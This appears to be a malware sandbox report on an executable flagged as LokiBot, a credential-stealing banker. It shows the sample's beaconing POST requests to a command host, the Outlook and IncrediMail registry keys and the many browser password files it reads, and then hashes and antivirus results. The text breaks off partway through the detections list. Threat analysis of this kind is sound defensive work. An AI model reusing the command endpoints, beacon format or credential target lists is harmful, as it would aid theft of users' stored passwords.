"12002800000007000000636B61762E727501000E0000005300590077006A006300490059000100140000005800770031004D004800520051007900430066000100140000005800770031004D00480052005100790043006600F6030000B70200000000010000000600010001000000010030000000360038003900370031003100300042003500320043003100360036004500370046003200300046004200460030004200" HTTP/1.1 404 Not Found Date: Mon 11 Sep 2023 09:58:38 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=obBFXNKbFJnMQxu49Jx29mKE%2B2TXRW3coGMSSY7I3gJmWVW0utvmcjT3USHpuueOCyPu7YjH84YyevQ8oY%2FgL7PcjUwqyoqci1T%2FWHuSPZ%2Ff9XF1eIH0uAjqo2GkJWmjd%2BASLtEMaw%3D%3D"}] "group":"cf-nel" "max_age":604800} NEL: {"success_fraction":0 "report_to":"cf-nel" "max_age":604800} Server: cloudflare CF-RAY: 804f0da7d90c24c9-SJC alt-svc: h3=":443"; ma=86400 with response body ==>080000000000000046696C65206E6F7420666F756E642E....... "POST /_errorpages/china/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: china.fengpower.buzz Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: ADD58140 Content-Length: 165 Connection: close" with payload::==> "12002800000007000000636B61762E727501000E0000005300590077006A006300490059000100140000005800770031004D004800520051007900430066000100140000005800770031004D00480052005100790043006600F6030000B70200000000010000000600010001000000010030000000360038003900370031003100300042003500320043003100360036004500370046003200300046004200460030004200" HTTP/1.1 404 Not Found Date: Mon 11 Sep 2023 09:58:40 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=h8vdnkUTqDB5x86N2Nac1%2FyntQuaJEJk5YkS5Vp0uoVIgKG0k3dxHAjOC5nUs5MDM5P%2BQeAhH%2FYOQsvlYs6aydrZOtsuM%2Fv9aaoIlT0t1%2Bpzn%2B50bBxSj3cwxPtMuA4LvXorwPyI9g%3D%3D"}] "group":"cf-nel" "max_age":604800} NEL: {"success_fraction":0 "report_to":"cf-nel" "max_age":604800} Server: cloudflare CF-RAY: 804f0db32bd19828-SJC alt-svc: h3=":443"; ma=86400 with response body ==>080000000000000046696C65206E6F7420666F756E642E....... "POST /_errorpages/china/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: china.fengpower.buzz Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: ADD58140 Content-Length: 165 Connection: close" with payload::==> "12002800000007000000636B61762E727501000E0000005300590077006A006300490059000100140000005800770031004D004800520051007900430066000100140000005800770031004D00480052005100790043006600F6030000B70200000000010000000600010001000000010030000000360038003900370031003100300042003500320043003100360036004500370046003200300046004200460030004200" HTTP/1.1 404 Not Found Date: Mon 11 Sep 2023 09:58:42 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=trsXsq%2B46%2Fd1AMFT04tqNbS0IpBdRnnn5Gjse7dYULc2RmkIY0AxCHH3%2FH4i5flBOB%2BAtAWez%2FihT%2BVVO6RVaXRoWOV23Ze3%2BrdDFtuCEW52CRkX0FcaUGN8YXnsX%2BshmIjgiCy6Bw%3D%3D"}] "group":"cf-nel" "max_age":604800} NEL: {"success_fraction":0 "report_to":"cf-nel" "max_age":604800} Server: cloudflare CF-RAY: 804f0dbedf50968c-SJC alt-svc: h3=":443"; ma=86400 with response body ==>080000000000000046696C65206E6F7420666F756E642E....... "POST /_errorpages/china/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: china.fengpower.buzz Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: ADD58140 Content-Length: 165 Connection: close" with payload::==> "12002800000007000000636B61762E727501000E0000005300590077006A006300490059000100140000005800770031004D004800520051007900430066000100140000005800770031004D00480052005100790043006600F6030000B70200000000010000000600010001000000010030000000360038003900370031003100300042003500320043003100360036004500370046003200300046004200460030004200" HTTP/1.1 404 Not Found Date: Mon 11 Sep 2023 09:58:44 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=zgbgyWXKJgpqLeTEjWjZdODuny94%2BoeuYVwHwTegAUQjczu5CnXOpIEeVbbFv81iWzQhyZUNWeXTfyU3pHWf7tqcXI21w5mK2BiFMpmhmcREU4JvfYphMW3xEx1tg%2BK9O06pp73vWQ%3D%3D"}] "group":"cf-nel" "max_age":604800} NEL: {"success_fraction":0 "report_to":"cf-nel" "max_age":604800} Server: cloudflare CF-RAY: 804f0dcb3e3f17e6-SJC alt-svc: h3=":443"; ma=86400 with response body ==>080000000000000046696C65206E6F7420666F756E642E....... "POST /_errorpages/china/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: china.fengpower.buzz Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: ADD58140 Content-Length: 165 Connection: close" with payload::==> "12002800000007000000636B61762E727501000E0000005300590077006A006300490059000100140000005800770031004D004800520051007900430066000100140000005800770031004D00480052005100790043006600F6030000B70200000000010000000600010001000000010030000000360038003900370031003100300042003500320043003100360036004500370046003200300046004200460030004200" HTTP/1.1 404 Not Found Date: Mon 11 Sep 2023 09:58:45 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=esEaWlzf8hmU7d%2B0XbUD4e6su8s5%2BRNxDrOIawJ7%2FRhNtp5q6BuNfwYrpWCoilzRDeTMUuaRTEGIZuJwvwKTJf5F0bLF3m%2FFhH1zWPjdERfRCYcC6XLldMFe55SDNaSG62QcObL1Rw%3D%3D"}] "group":"cf-nel" "max_age":604800} NEL: {"success_fraction":0 "report_to":"cf-nel" "max_age":604800} Server: cloudflare CF-RAY: 804f0dd6f980fa92-SJC alt-svc: h3=":443"; ma=86400 with response body ==>080000000000000046696C65206E6F7420666F756E642E....... "POST /_errorpages/china/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: china.fengpower.buzz Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: ADD58140 Content-Length: 165 Connection: close" with payload::==> "12002800000007000000636B61762E727501000E0000005300590077006A006300490059000100140000005800770031004D004800520051007900430066000100140000005800770031004D00480052005100790043006600F6030000B70200000000010000000600010001000000010030000000360038003900370031003100300042003500320043003100360036004500370046003200300046004200460030004200" HTTP/1.1 404 Not Found Date: Mon 11 Sep 2023 09:58:47 GMT Content-Type: text/html; charset=UTF-8 Connection: close Status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=I8NlsSruWehDa1Cm1aQSnl9pmbfpOUyeRKR8QoHsGU4pNf%2F2y4sW%2F1Q9xG97ZNyvGq5rz549HZmuabjQLOy7lqeL1SU9Nsb3x2BQzQRZUkr87s497xrkHCZ8kEcLWYFjhCwevPI4PQ%3D%3D"}] "group":"cf-nel" "max_age":604800} NEL: {"success_fraction":0 "report_to":"cf-nel" "max_age":604800} Server: cloudflare CF-RAY: 804f0de2bc3f6422-SJC alt-svc: h3=":443"; ma=86400 with response body ==>080000000000000046696C65206E6F7420666F756E642E.......3c:T161d,".exe" (Path: "HKCU\SOFTWARE\INCREDIMAIL\IDENTITIES") ".exe" (Path: "HKLM\SOFTWARE\INCREDIMAIL\IDENTITIES") ".exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK") ".exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\0A0D020000000000C000000000000046") ".exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\0A0D020000000000C000000000000046"; Key: "EMAIL") ".exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\13DBB0C8AA05101A9BB000AA002FC45A") ".exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\13DBB0C8AA05101A9BB000AA002FC45A"; Key: "EMAIL") ".exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\219640CACDE8074182564FF222ADC964") ".exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\219640CACDE8074182564FF222ADC964"; Key: "EMAIL") ".exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\3517490D76624C419A828607E2A54604") ".exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\3517490D76624C419A828607E2A54604"; Key: "EMAIL") ".exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\43614905B9C995438DFD9F56DEBEF65B") ".exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\43614905B9C995438DFD9F56DEBEF65B"; Key: "EMAIL") ".exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\5F477DAF20AEB94E98A388C30BB06030") ".exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\5F477DAF20AEB94E98A388C30BB06030"; Key: "EMAIL") ".exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\6E50C7E47821BC4F9949246B37598FD6") ".exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\6E50C7E47821BC4F9949246B37598FD6"; Key: "EMAIL") ".exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\8503020000000000C000000000000046") ".exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\8503020000000000C000000000000046"; Key: "EMAIL") ".exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\8B5A8EC90C65774EB93B2E4FB10C91B8") ".exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\8B5A8EC90C65774EB93B2E4FB10C91B8"; Key: "EMAIL") ".exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9207F3E0A3B11019908B08002B2A56C2") ".exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9207F3E0A3B11019908B08002B2A56C2"; Key: "EMAIL") ".exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676") ".exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676"; Key: "EMAIL") ".exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001") ".exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000001"; Key: "EMAIL") ".exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000002") ".exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000002"; Key: "EMAIL") ".exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000003") ".exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9375CFF0413111D3B88A00104B2A6676\00000003"; Key: "EMAIL") ".exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\94B4156209024D4DB21718DD730341DA") ".exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\94B4156209024D4DB21718DD730341DA"; Key: "EMAIL") ".exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9B2F2630BD8F2946A34B3D69FD89E6C8") ".exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS MESSAGING SUBSYSTEM\PROFILES\OUTLOOK\9B2F2630BD8F2946A34B3D69FD89E6C8"; Key: "EMAIL")3d:T18e5,".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\profiles.ini" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\g4h7miqt.default\secmod.db" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\g4h7miqt.default\cert8.db" ".exe" trying to open a file "C:\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\g4h7miqt.default\key3.db" ".exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\g4h7miqt.default\NSSCKBI.DLL" ".exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\g4h7miqt.default\SIGNONS.SQLITE" ".exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\g4h7miqt.default\LOGINS.JSON" ".exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\g4h7miqt.default\SIGNONS.TXT" ".exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\g4h7miqt.default\SIGNONS2.TXT" ".exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Roaming\Mozilla\Firefox\Profiles\g4h7miqt.default\SIGNONS3.TXT" ".exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\COMODO\DRAGON\USER DATA\DEFAULT\LOGIN DATA" ".exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\COMODO\DRAGON\USER DATA\DEFAULT\WEB DATA" ".exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\MAPLESTUDIO\CHROMEPLUS\USER DATA\DEFAULT\LOGIN DATA" ".exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\MAPLESTUDIO\CHROMEPLUS\USER DATA\DEFAULT\WEB DATA" ".exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\GOOGLE\CHROME\USER DATA\DEFAULT\WEB DATA" ".exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\NICHROME\USER DATA\DEFAULT\LOGIN DATA" ".exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\NICHROME\USER DATA\DEFAULT\WEB DATA" ".exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\ROCKMELT\USER DATA\DEFAULT\WEB DATA" ".exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\CHROMIUM\USER DATA\DEFAULT\LOGIN DATA" ".exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\CHROMIUM\USER DATA\DEFAULT\WEB DATA" ".exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\TITAN BROWSER\USER DATA\DEFAULT\LOGIN DATA" ".exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\TITAN BROWSER\USER DATA\DEFAULT\WEB DATA" ".exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\TORCH\USER DATA\DEFAULT\WEB DATA" ".exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\YANDEX\YANDEXBROWSER\USER DATA\DEFAULT\LOGIN DATA" ".exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\YANDEX\YANDEXBROWSER\USER DATA\DEFAULT\WEB DATA" ".exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\EPIC PRIVACY BROWSER\USER DATA\DEFAULT\LOGIN DATA" ".exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\EPIC PRIVACY BROWSER\USER DATA\DEFAULT\WEB DATA" ".exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\COCCOC\BROWSER\USER DATA\DEFAULT\LOGIN DATA" ".exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\COCCOC\BROWSER\USER DATA\DEFAULT\WEB DATA" ".exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\VIVALDI\USER DATA\DEFAULT\LOGIN DATA" ".exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\COMODO\CHROMODO\USER DATA\DEFAULT\LOGIN DATA" ".exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\COMODO\CHROMODO\USER DATA\DEFAULT\WEB DATA" ".exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\SUPERBIRD\USER DATA\DEFAULT\WEB DATA" ".exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\COOWON\COOWON\USER DATA\DEFAULT\LOGIN DATA" ".exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\COOWON\COOWON\USER DATA\DEFAULT\WEB DATA" ".exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\360BROWSER\BROWSER\USER DATA\DEFAULT\LOGIN DATA" ".exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\360BROWSER\BROWSER\USER DATA\DEFAULT\WEB DATA" ".exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\CATALINAGROUP\CITRIO\USER DATA\DEFAULT\LOGIN DATA" ".exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\GOOGLE\CHROME SXS\USER DATA\DEFAULT\WEB DATA" ".exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\ORBITUM\USER DATA\DEFAULT\LOGIN DATA" ".exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\ORBITUM\USER DATA\DEFAULT\WEB DATA" ".exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\GOOGLE\CHROME\USER DATA\DEFAULT\LOGIN DATA" ".exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\IRIDIUM\USER DATA\DEFAULT\LOGIN DATA" ".exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Local\IRIDIUM\USER DATA\DEFAULT\WEB DATA" ".exe" trying to open a file "\Device\HarddiskVolume2\Users\%OSUSER%\AppData\Roaming\OPERA SOFTWARE\OPERA STABLE\LOGIN DATA"3e:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAB3d3d3d3d3d3d3d3d3AAAAd3d3d3d3d3d3d3d3dwAAd3d3d3d3d3d3d3d3d3cAd3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3dwB3d3d3d3d3d3d3d3d3d3cAd3d3d3d3d3d3d3d3d3d3AHd3d3d3d3d3d3d3d3d3dwB3d3d3d3d3d3d3d3d3d3cAd3d3d3d3d3d3d3d3d3d3cHd3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3cAd3d3d3d3d3d3d3d3d3d3AHd3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3cHB3d3d3d3d3d3d3d3d3d3B3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3cHB3d3d3d3d3d3d3d3d3d3Bwd3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3cAd3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3dwcHd3d3d3d3d3d3d3d3d3dwd3d3d3d3d3d3d3d3d3d3AHd3d3d3d3d3d3d3d3d3d3cAB3d3d3d3d3d3d3d3d3cAB3d3d3d3d3d3d3d3d3dwAAAAd3AAAAAAAAB3d3d3dwAAAAAAAAAAAAAAAAAHd3AAAHd3d3d3d3d3d3d3d3cAAAAAAAAAAAAAAAAAAAAAAADwAAAD8AAAA8AAAAMAAAAAAAAAAwAAAAMAAAADAAAAAwAAAAMAAAABAAAAAAAAAAMAAAADAAAAAAAAAAKAAAACAAAAAAAAAAKAAAACgAAAAAAAAAMAAAAAAAAAAoAAAAEAAAADAAAAAOAAAAOAAAAH8f/wA////4fAAAAP/////w==1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"74de565481e06f4dc68654c450bac83eb32a4c19dc28e9e3a47fb117c7887e60","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790355624943,"unified_at":"2026-09-25T17:00:24.943Z","metadata":{"hashes":{"sha256":"74de565481e06f4dc68654c450bac83eb32a4c19dc28e9e3a47fb117c7887e60","sha1":"2cae45a0d2723b7cb3b9a9eb89f26bfe3776c034","md5":"43d6aa62427fda7e63d503d069c22f63","sha512":"d18d0f321360ba506decd627cb243f4febf8183d791f0651505d3d0c4c4f495ec14c7a93bacb4c50c0ca0424d395bde9fe86afdde5f92ba952b323e2a3c82557","ssdeep":"3072:ARpsLVByCZ7CQLyCNfg6ALiF6CJnFbULE5ATYd6xZ:lLydQLyUgL0FbETYd0","ssdeep_chunks":["3072:ARpsLVB","3072:RpsLVBy","3072:psLVByC","3072:sLVByCZ","3072:LVByCZ7","3072:VByCZ7C","3072:ByCZ7CQ","3072:yCZ7CQL","3072:CZ7CQLy","3072:Z7CQLyC","3072:7CQLyCN","3072:CQLyCNf","3072:QLyCNfg","3072:LyCNfg6","3072:yCNfg6A","3072:CNfg6AL","3072:Nfg6ALi","3072:fg6ALiF","3072:g6ALiF6","3072:6ALiF6C","3072:ALiF6CJ","3072:LiF6CJn","3072:iF6CJnF","3072:F6CJnFb","3072:6CJnFbU","3072:CJnFbUL","3072:JnFbULE","3072:nFbULE5","3072:FbULE5A","3072:bULE5AT","3072:ULE5ATY","3072:LE5ATYd","3072:E5ATYd6","3072:5ATYd6x","3072:ATYd6xZ","6144:ARpsLVB","6144:RpsLVBy","6144:psLVByC","6144:sLVByCZ","6144:LVByCZ7","6144:VByCZ7C","6144:ByCZ7CQ","6144:yCZ7CQL","6144:CZ7CQLy","6144:Z7CQLyC","6144:7CQLyCN","6144:CQLyCNf","6144:QLyCNfg","6144:LyCNfg6","6144:yCNfg6A","6144:CNfg6AL","6144:Nfg6ALi","6144:fg6ALiF","6144:g6ALiF6","6144:6ALiF6C","6144:ALiF6CJ","6144:LiF6CJn","6144:iF6CJnF","6144:F6CJnFb","6144:6CJnFbU","6144:CJnFbUL","6144:JnFbULE","6144:nFbULE5","6144:FbULE5A","6144:bULE5AT","6144:ULE5ATY","6144:LE5ATYd","6144:E5ATYd6","6144:5ATYd6x","6144:ATYd6xZ","3072:lLydQLy","3072:LydQLyU","3072:ydQLyUg","3072:dQLyUgL","3072:QLyUgL0","3072:LyUgL0F","3072:yUgL0Fb","3072:UgL0FbE","3072:gL0FbET","3072:L0FbETY","3072:0FbETYd","3072:FbETYd0"],"imphash":"f815858bb8146375fb6d659cf6f7de7c"},"file_info":{"file_name":"WUDFHost.exe","file_type":["peexe","executable"],"file_type_id":"exe","file_size":224768,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1694424623000,"last_seen":1694426474000,"last_multi_scan":1694426474000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["banker","lokibot"]},"stats":{"av":{"malicious_count":9,"suspicious_count":0,"total_engines":29},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":59},"sandbox_signatures":{"informative_count":116,"suspicious_count":14,"malicious_count":8,"total":138},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"aegislab":{"name":"AegisLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Malware/Win.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"malicious","threat_name":"Win.Packer.pkr_ce1a-9980177-0","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cylance":{"name":"Cylance","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of 